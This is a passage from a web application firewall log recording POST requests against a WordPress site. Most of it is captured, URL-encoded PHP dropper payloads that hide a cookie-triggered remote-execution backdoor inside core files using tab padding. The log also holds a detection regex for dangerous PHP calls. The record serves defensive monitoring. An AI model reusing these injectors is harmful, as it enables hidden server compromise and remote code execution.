dd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4307\n\ndd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:54:38","34.101.101.253","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:4330\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:54:47","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4327\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-mode:navigate\n\nvM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:54:56","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ok:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%